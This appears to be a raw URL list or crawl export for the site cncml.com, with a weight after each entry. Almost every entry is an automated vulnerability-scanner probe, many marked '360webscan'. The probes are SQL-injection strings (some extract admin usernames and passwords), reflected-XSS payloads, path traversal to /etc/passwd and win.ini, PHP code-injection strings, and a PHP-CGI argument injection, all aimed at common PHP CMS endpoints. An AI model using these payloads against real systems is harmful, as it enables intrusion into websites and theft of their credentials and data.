http://www.cncml.com/admin_blog/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/admin_blog/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/admin_blog/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/admin_blog/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/admin_blog/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/admin_blog/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/admin_blog/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/admin_blog/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/admin_blog/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/admin_blog/index.php?m=Order&a=index 0.0001 http://www.cncml.com/admin_blog/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/admin_blog/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/admin_blog/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/admin_blog/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/admin_blog/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/admin_blog/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/admin_blog/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/admin_blog/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/admin_blog/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/admin_blog/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/admin_blog/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/admin_blog/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/index.php?page=1 0.0001 http://www.cncml.com/admin_blog/index.php?page=2 0.0002 http://www.cncml.com/admin_blog/index.php?page=3 0.0001 http://www.cncml.com/admin_blog/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/admin_blog/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001 http://www.cncml.com/admin_blog/index.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/admin_blog/index.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/api.php?act=../../robots.txt%00:template_info&api_version=1.0&app=12 0.0001 http://www.cncml.com/api.php?act=1&appname=../../core/html/pages/about.html%00 0.0001 http://www.cncml.com/api.php?action=File&ctrl=download&path=api.php 0.0001 http://www.cncml.com/api.php?c=api&f=phpok&id=_sublist&param%5Bpid%5D=1%20union%20select%20concat(md5(1122),0x7c,pass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%20from%20qinggan_user%23&param%5Bphpok%5D=1 0.0001 http://www.cncml.com/api.php?c=opt&f=index&group_id=-1%20union%20select%201,2,0,md5(1122),5,6&identifier=reer 0.0001 http://www.cncml.com/api.php?id=_arclist&c=api&f=phpok&param%5Bpid%5D=41&param%5Bnotin%5D=41)%20Union%20Select%201,md5(1122),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--%20 0.0001 http://www.cncml.com/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..%5C..%5C..%5Cphpsso_server%5Ccaches%5Ccaches_admin%5Ccaches_data%5Capplist&path=admin 0.0001 http://www.cncml.com/api.php?op=map&maptype=1&city=test%3Cscript%3Ealert%28/42873/%29%3C/script%3E 0.0001 http://www.cncml.com/api.php?op=map&maptype=1&defaultcity=%E5%8C%97%E4%BA%AC&api_key=%22%3E%3C/script%3E%3Cscript%3Ealert%28/42873/%29;%3C/script%3E 0.0001 http://www.cncml.com/api.php?op=map&maptype=1&defaultcity=%E5%8C%97%E4%BA%AC&field=%29%3C/script%3E%3Cscript%3Ealert%2842873%29%3C/script%3E// 0.0001 http://www.cncml.com/api.php?op=map&maptype=1&defaultcity=%e5%22;alert%28/42873/%29;// 0.0001 http://www.cncml.com/api.php?op=video_api&pc_hash=1&uid=1&snid=%3C/script%3E%3Cscript%3Ealert(/42873/)%3C/script%3E//&do_complete=1%20 0.0001 http://www.cncml.com/api.php?op=video_api&pc_hash=1&uid=1&snid=1122%22%20onmouseover=alert(42873)//&do_complete=1 0.0001 http://www.cncml.com/api.php?op=video_api&pc_hash=test%22/%3Ec%3Cscscriptript%3Ealert(42873)%3C/scscriptript%3E&&do_complete=1&uid=1&snid=1 0.0001 http://www.cncml.com/api.php?op=video_api&uid=1&snid=1&pc_hash=%3C/script%3E%3Cscript%3Ealert(/360/)%3C/script%3E//&do_complete=1 0.0001 http://www.cncml.com/api/ 0.0004 http://www.cncml.com/api/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/api/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/api/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/api/?overview 0.0001 http://www.cncml.com/api/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/api/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/api/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/api/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/api/connect/ 0.0004 http://www.cncml.com/api/connect/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/api/connect/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/api/connect/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/api/connect/?overview 0.0001 http://www.cncml.com/api/connect/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/api/connect/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/api/connect/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/api/connect/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/api/connect/like.php 0.0006 http://www.cncml.com/api/connect/like.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/api/connect/like.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/api/connect/like.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/api/uc.php?code=8e347f1oWfxZ5isPSs7QBbA78aaJwxZCvdIIfY2niRLsrqrg0dHBfrkRSaOtzGxkncaWtRGPVKjVbHwZJSlI1JFH9WBN5wj%2Fsqj2Xg 0.0001 http://www.cncml.com/api/uc.php?code=c2f4ZUxs8zoTQY250F1rAWrUX3HdH02DmJ%2B35SmPeYiZ4McfmrkhoXXy9iGUKw86jzY%2B%2F43CtUlnJtwQFcGhRIgJlqvJeZbHGdNSNyMC2VT9SjlxPpWveWUzynqY4%2FQnruPHVh%2FTxtjrrdBZhZXOqEDm1JBEB10PlawipFuTPtFKt08G2MSMWRRL5dKcXsmwIXKj4YJH%2BBD4cnwYwZVvqyjSTqMoB9nB6xYfwhedhJp%2B6Y%2BC5ZgHq0QnvYCmgGcHds1hKQDzp7vnEnyQSrFIZsfMTpbTIU8jrGOqBg 0.0001 http://www.cncml.com/api/uc.php?code=e58bJh4lGn7%2F87F38CD3nphwoQNenQoOElYFu9%2FBvZV2gsgxPnmRmq3iJZcx%2FF1LPelzduVe3ZFJOD4Y0vpB388niaie8ECa%2FYA%2BqA13TPGzW5EpO%2FHaShEiHdaEqgyeRf%2Bh1EBCq3UASAPet%2BTI4R8tIKfU05ENmo5bK8Fj6DHvC9%2BtIksTeaOgmBzDwHdMbbLQwjGtvauIjUNnf2FglhdFD3mQdDiOq2rSSWxWPkQEYV0Z5ihe2YhVrmUlAVJqSshZ3wh5zdfjWzCUnP4I7k3f%2B2khp64tgUEbwIdcoV38Ei47PSd5h02j9uBvIs7yg%2ByfJ7zp5ArNiq3wuDcy9LtAXup68g 0.0001 http://www.cncml.com/api/uc.php?code=fd92NqvC0fvDd3K8T4F9wiNlGHGg%2Bz13GSxyds04jK36mfZacZwYY5bVdHPO0hSTj4Zd4Q7mhGp70q%2BosC6PYhZZQxKJp3vOR5z5SQ 0.0001 http://www.cncml.com/archiver/ 0.0014 http://www.cncml.com/archiver/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/archiver/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/archiver/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/archiver/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/archiver/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/archiver/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/archiver/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/archiver/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/archiver/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/archiver/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/archiver/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/archiver/?fid-43.html 0.0001 http://www.cncml.com/archiver/?fid-44.html 0.0001 http://www.cncml.com/archiver/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/archiver/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/archiver/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/archiver/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/archiver/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/archiver/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/archiver/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/archiver/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/archiver/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/archiver/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/archiver/?overview 0.0001 http://www.cncml.com/archiver/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/archiver/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/archiver/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/archiver/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/archiver/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/archiver/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/archiver/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/archiver/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/archiver/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/archiver/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/archiver/?tid-111.html 0.0001 http://www.cncml.com/archiver/?tid-114.html 0.0001 http://www.cncml.com/archiver/?tid-130.html 0.0001 http://www.cncml.com/archiver/?tid-132.html 0.0001 http://www.cncml.com/archiver/?tid-144.html 0.0004 http://www.cncml.com/archiver/?tid-149.html 0.0002 http://www.cncml.com/archiver/?tid-157.html 0.0001 http://www.cncml.com/archiver/?tid-160.html 0.0001 http://www.cncml.com/archiver/?tid-196.html 0.0001 http://www.cncml.com/archiver/?tid-23.html 0.0001 http://www.cncml.com/archiver/?tid-9.html 0.0001 http://www.cncml.com/archiver/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/archiver/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/archiver/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/archiver/?user-getpass-1' 0.0001 http://www.cncml.com/archiver/?user-space-1' 0.0001 http://www.cncml.com/archiver/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/archiver/fid-2.html 0.0002 http://www.cncml.com/archiver/fid-38.html 0.0001 http://www.cncml.com/archiver/fid-39.html 0.0001 http://www.cncml.com/archiver/fid-43.html 0.0004 http://www.cncml.com/archiver/fid-43.html?page=1 0.0001 http://www.cncml.com/archiver/fid-43.html?page=2 0.0001 http://www.cncml.com/archiver/fid-43.html?page=2%00' 0.0001 http://www.cncml.com/archiver/fid-44.html 0.0002 http://www.cncml.com/archiver/fid-47.html 0.0001 http://www.cncml.com/archiver/fid-48.html 0.0001 http://www.cncml.com/archiver/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/archiver/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/archiver/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/archiver/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/archiver/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/archiver/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/archiver/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/archiver/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/archiver/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/archiver/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/archiver/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/archiver/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/archiver/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/archiver/index.php?ac=order&at=list 0.0001 http://www.cncml.com/archiver/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/archiver/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/archiver/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/archiver/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/archiver/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/archiver/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 